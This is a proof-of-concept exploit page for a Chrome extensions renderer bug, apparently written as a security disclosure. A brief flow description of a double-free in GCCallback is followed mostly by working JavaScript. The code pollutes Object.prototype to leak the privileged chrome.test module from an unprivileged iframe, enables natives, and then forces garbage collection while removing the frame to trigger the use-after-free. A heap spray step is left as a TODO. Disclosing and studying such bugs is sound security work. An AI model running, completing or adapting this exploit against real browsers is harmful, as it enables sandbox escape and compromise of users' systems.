<pre>
Vulnerable file: extensions/renderer/gc_callback.cc
Flow:
1. GCCallback::RunCallback
2. While the JS callback is run, remove the frame (invalidating the context in the process).
3. GCCallback::OnContextInvalidated is triggered because of 2.
4. Step 3 deletes |this|.
5. Now the JS function from step 2 returns, and control goes back to step 1.
6. Step 1 deletes |this| again. = double-free.
</pre>

<script>
function triggerUAF() {
  // When this function is called, everything is still fine.

  // Now we destroy the frame and its JavaScript context.
  document.querySelector('iframe').remove();
  // At this point, GCCallback::OnContextInvalidated has run.

  // TODO: Heap spray.

  // After the function returns, GCCallback::RunCallback will delete itself AGAIN.
}
</script>

<iframe srcdoc="
<script>
// MODULE_TO_LEAK can be anything that is declared in Dispatcher::GetJsResources
// and ChromeExtensionsDispatcherDelegate::PopulateSourceMap
// Sources are:
// - extensions/renderer/resources/
// - chrome/renderer/resources/extensions/
// The only APIs that can be used are:
// - APIs exposed via requireNative - *{native_handler,custom_binding}*.cc
// - extensions/common/api/_api_features.json
// - chrome/common/extensions/api/_api_features.json
var MODULE_TO_LEAK = 'test'; // chrome.test is very juicy :)

// We use this key to detect whether the scheme override was successful.
var SOME_ARBITRARY_VALUE = 'whatever';

stealModule(function(testCustomBindings) {
    var chrome_test = testCustomBindings.binding;
    console.log('Got chrome.test: ', chrome_test);
    chrome_test.runWithNativesEnabled(function() {
        var module_system = chrome_test.getModuleSystem(window);
        module_system.require('webViewActionRequests').WebViewActionRequests.WebViewActionRequest.prototype.handleActionRequestEvent.call({
            getInterfaceObject() {
                return {'objectToGc':1};
            },
            webViewEvent: {},
            webViewImpl: {dispatchEvent(){}},
            defaultAction() {
                parent.triggerUAF();
            }
        });

        // Now force GC, causing the callback to be triggered (via defaultAction).
        for (var i = 0; i < 25; ++i) {
            new Array(Math.pow(2, i));
        }
    });
});

function defineImports(schema, modulename) {
    schema.properties = {
        // Re-using lastError because it will pass the availability check.
        lastError: {
            $ref: SOME_ARBITRARY_VALUE,
            // Parameters to the noop function defined below.
            // Used in binding.js, as args in $Function.apply(constructor, value, args);
            value: [],
        },
    };
    schema.types = [{
        id: SOME_ARBITRARY_VALUE,
        // Skip the type export in the schema.types branch, we don't need it.
        platforms: [],
        // Will be require-d by createCustomType
        // Normally, it is not possible to import most modules, because most of them
        // make use of requireNative, which throws an error if run from an unprivileged
        // context (= with natives disabled).
        // But we trick Chrome into loading the module, so this will work!
        js_module: modulename,
        // functions is defined because createCustomType in binding.js expects it, via.
        //   customType.prototype.setSchema(type);
        functions: [],
    }];
}

// Call this function to leak the module.
function stealModule(useLeak) {
    var shouldReload = false;

    // Hook on the creation of Binding and modify the schema.
    //
    // function Binding(schema) {
    //   this.schema_ = schema;
    //   this.apiFunctions_ = new APIFunctions(schema.namespace);
    //   this.customEvent_ = null;
    //   this.customHooks_ = []; <------------ Hooking here.
    // };
    Object.defineProperty(Object.prototype, 'customHooks_', {
        configurable: true,
        get() {
            // customHooks_ has no value by default.
        },
        set(customHooks_) {
            if (customHooks_ === true) return; // Ignore devtools setter.

            var runHooks_ = this.runHooks_;
            console.assert(typeof runHooks_ === 'function', 'runHooks_ should be a function!');

            Object.defineProperties(this, {
                // Transparently assign the unavailableApiFunctions_, so that the behavior of
                // binding does not change unexpectedly.
                customHooks_: {
                    configurable: true,
                    writable: true,
                    enumerable: true,
                    value: customHooks_, 
                },
                // This is our evil stuff. The runHooks_ method gets a reference to the schema.
                runHooks_: {
                    enumerable: true,
                    get() {
                        return function(mod, schema) {
                            if (!schema) {
                                // For Chrome 49-.
                                schema = this.schema_;
                            }
                            if (schema.namespace === 'runtime' && schema.types &&
                                    schema.types[0].id !== SOME_ARBITRARY_VALUE) {
                                defineImports(schema, MODULE_TO_LEAK);
                                shouldReload = true;
                                return;
                            }
                            return runHooks_.call(this, mod, schema);
                        };
                    },
                },
            });
        },
    });

    var leaked;
    defineModuleStealer(function(exports) {
        leaked = exports;
    });

    // Trigger the lazy module system.
    chrome.runtime;

    // Clean-up.
    delete Object.prototype.customHooks_;

    // At the first run, the page should reload.
    if (shouldReload) {
        // It is probably safe to reload above, but I'm reloading only after the module loading
        // has finalized to avoid side effects.
        location.reload();
        return;
    }

    // After the first run, we have our module.

    console.assert(leaked !== void 0, 'Should have leaked: ' + MODULE_TO_LEAK);
    useLeak(leaked);
}

// leakModule will receive the leaked module.
function defineModuleStealer(leakModule) {
    Object.defineProperties(Object.prototype, {
        [MODULE_TO_LEAK]: {
            set(value) {
                if (typeof value === 'object' && value !== null &&
                        Object.keys(value).length === 0 && Object.keys(this).length === 0) {
                    // This is the module that we requested :)
                    Object.defineProperty(this, MODULE_TO_LEAK, {
                        enumerable: true,
                        writable: true,
                        value: value,
                    });
                    // This is called in binding.generate:
                    // for (var index = 0, name; name = namespaces[index]; index++) {
                    //      mod[name] = mod[name] || {};
                    //      ^^^^^^^^^^^

                    value.ROBS_DUMMY = true;
                    // The purpose of setting the above key is to make sure that at the end of
                    // binding.generate(), success === true.
                }
            },
            get() {
                // In Chrome 49 and before, this getter was called twice and leaked the module
                // system (and also the imported module).
                //
                // In Chrome 50, this is fixed. We still keep the getter so that this exploit can
                // be used with both Chrome 49 and 50.
                Object.defineProperty(Object.prototype, MODULE_TO_LEAK, {
                    configurable: true,
                    get() {
                        if ('$set' in this) {
                            delete Object.prototype[MODULE_TO_LEAK];
                            delete Object.prototype.name;
                            leakModule(this);
                            return function noop() {};
                        }
                    }
                });
            },
            configurable: true,
        },

        // This part allows non-whitelisted methods to become visible.
        // This only works if the actual functionality is only implemented in JS or via native
        // bindings, because most of the calls that go through the browser is validated against
        // the JSON schema / IDL.
        // chrome.test is almost completely implemented in native bindings and JS, so... :)
        'name': {
            configurable: true,
            get() {},
            set(value) {
                // Designed to skip over the if in the following block:
                //        var apiFunction = {};
                //        apiFunction.definition = functionDef;
                //        apiFunction.name = schema.namespace + '.' + functionDef.name;
                //
                //        if (!GetAvailability(apiFunction.name).is_available ||
                //            (checkUnprivileged && !isSchemaAccessAllowed(functionDef))) {
                //          this.apiFunctions_.registerUnavailable(functionDef.name);
                //          return;
                //        }

                var keys = Object.keys(this);
                if (keys.length === 1 && keys[0] === 'definition' &&
                    typeof value === 'string' && value.startsWith(MODULE_TO_LEAK)) {
                    Object.defineProperty(this, 'name', {
                        configurable: true,
                        get() {
                            Object.defineProperty(this, 'name', {
                                configurable: true,
                                enumerable: true,
                                writable: true,
                                value: value
                            });
                            // This is always available.
                            return 'runtime.lastError';
                        },
                    });
                    return;
                }
                Object.defineProperty(this, 'name', {
                    configurable: true,
                    enumerable: true,
                    writable: true,
                    value: value
                });
            },
        },
    });
}
</script>"></iframe>
